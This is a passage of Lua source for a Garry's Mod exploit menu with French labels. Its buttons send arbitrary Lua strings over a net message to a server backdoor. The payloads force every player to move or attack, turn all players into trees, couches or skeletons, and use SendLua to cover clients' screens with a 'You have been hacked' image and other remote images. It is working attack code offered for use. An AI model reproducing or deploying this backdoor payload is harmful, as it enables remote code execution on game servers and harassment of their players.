net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-forward\") end" )
net.WriteBit(1)
net.SendToServer()
end
local marcheariereon = vgui.Create("DButton", DScrollPanel2 )
marcheariereon:SetSize( 200, 20 )
marcheariereon:SetPos( 35, 70 )
marcheariereon:SetText( "[ON] Marche ariére" )
marcheariereon:SetTextColor(Color(0, 0, 0, 255))
marcheariereon.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
marcheariereon.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+back\") end" )
net.WriteBit(1)
net.SendToServer()
end
local marcheariereoff = vgui.Create("DButton", DScrollPanel2 )
marcheariereoff:SetSize( 200, 20 )
marcheariereoff:SetPos( 250, 70 )
marcheariereoff:SetText( "[OFF] Marche ariére" )
marcheariereoff:SetTextColor(Color(0, 0, 0, 255))
marcheariereoff.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
marcheariereoff.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-back\") end" )
net.WriteBit(1)
net.SendToServer()
end
local lefton = vgui.Create("DButton", DScrollPanel2 )
lefton:SetSize( 200, 20 )
lefton:SetPos( 35, 105 )
lefton:SetText( "[ON] Tourner" )
lefton:SetTextColor(Color(0, 0, 0, 255))
lefton.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
lefton.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+right\") end" )
net.WriteBit(1)
net.SendToServer()
end
local leftoff = vgui.Create("DButton", DScrollPanel2 )
leftoff:SetSize( 200, 20 )
leftoff:SetPos( 250, 105 )
leftoff:SetText( "[OFF] Tourner" )
leftoff:SetTextColor(Color(0, 0, 0, 255))
leftoff.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
leftoff.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-right\") end" )
net.WriteBit(1)
net.SendToServer()
end
local attackon = vgui.Create("DButton", DScrollPanel2 )
attackon:SetSize( 200, 20 )
attackon:SetPos( 35, 140 )
attackon:SetText( "[ON] Attaquer" )
attackon:SetTextColor(Color(0, 0, 0, 255))
attackon.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
attackon.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+attack\") end" )
net.WriteBit(1)
net.SendToServer()
end
local attackoff = vgui.Create("DButton", DScrollPanel2 )
attackoff:SetSize( 200, 20 )
attackoff:SetPos( 250, 140 )
attackoff:SetText( "[OFF] Attaquer" )
attackoff:SetTextColor(Color(0, 0, 0, 255))
attackoff.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
attackoff.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-attack\") end" )
net.WriteBit(1)
net.SendToServer()
end
end

function transformations()
if transformationsSelector and transformationsSelector:IsVisible() then transformationsSelector:Remove() end
transformationsSelector = vgui.Create("DFrame")
transformationsSelector:SetSize(505,350) --56464646465465
transformationsSelector:SetTitle("Transformations")
transformationsSelector:SetPos( gui.MouseX(), gui.MouseY() )
transformationsSelector:MakePopup()
transformationsSelector.Paint = function( s, w, h )
if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(0, 0, 0, 220) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(255, 255, 255, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(0, 0, 0, 0) )
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(0, 0, 0, 255) )
end
local DScrollPanel3 = vgui.Create( "DScrollPanel", transformationsSelector )
DScrollPanel3:Dock( FILL )
local arbre = vgui.Create("DButton", DScrollPanel3 )
arbre:SetSize( 200, 20 )
arbre:SetPos( 35, 35 )
arbre:SetText( "Arbre" )
arbre:SetTextColor(Color(0, 0, 0, 255))
arbre.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
arbre.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/gm_forest/tree_alder.mdl\") end" )
net.WriteBit(1)
net.SendToServer()
end
local canape = vgui.Create("DButton", DScrollPanel3 )
canape:SetSize( 200, 20 )
canape:SetPos( 250, 35 )
canape:SetText( "Canapé" )
canape:SetTextColor(Color(0, 0, 0, 255))
canape.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
canape.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/props_c17/FurnitureCouch001a.mdl\") end" )
net.WriteBit(1)
net.SendToServer()
end
local skeleton = vgui.Create("DButton", DScrollPanel3 )
skeleton:SetSize( 200, 20 )
skeleton:SetPos( 35, 70 )
skeleton:SetText( "Skelete" )
skeleton:SetTextColor(Color(0, 0, 0, 255))
skeleton.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
skeleton.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/props_c17/models/player/skeleton.mdl\") end" )
net.WriteBit(1)
net.SendToServer()
end
end

function specialvisuel()
if visuelSelector and visuelSelector:IsVisible() then visuelSelector:Remove() end
visuelSelector = vgui.Create("DFrame")
visuelSelector:SetSize(505,350) --56464646465465
visuelSelector:SetTitle("Visuel Spécial")
visuelSelector:SetPos( gui.MouseX(), gui.MouseY() )
visuelSelector:MakePopup()
visuelSelector.Paint = function( s, w, h )
if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(0, 0, 0, 220) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(255, 255, 255, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(0, 0, 0, 0) )
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(0, 0, 0, 255) )
end
local DScrollPanel4 = vgui.Create( "DScrollPanel", visuelSelector )
DScrollPanel4:Dock( FILL )
local hacked = vgui.Create("DButton", DScrollPanel4 )
hacked:SetSize( 200, 20 )
hacked:SetPos( 35, 35 )
hacked:SetText( "You have been hacked" )
hacked:SetTextColor(Color(0, 0, 0, 255))
hacked.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
hacked.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(1920,1080) hud:SetPos(0,0) hud:OpenURL(\"https://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg\")]]) end" )
net.WriteBit(1)
net.SendToServer()
end
local undertale = vgui.Create("DButton", DScrollPanel4 )
undertale:SetSize( 200, 20 )
undertale:SetPos( 35, 70 )
undertale:SetText( "undertale" )
undertale:SetTextColor(Color(0, 0, 0, 255))
undertale.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
undertale.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(578,152) hud:SetPos(5,5) hud:OpenURL(\"http://www.surponrp.fr/test.png\")]]) end" )
net.WriteBit(1)
net.SendToServer()
end
end

else
WelcomeScreen()
return end
end )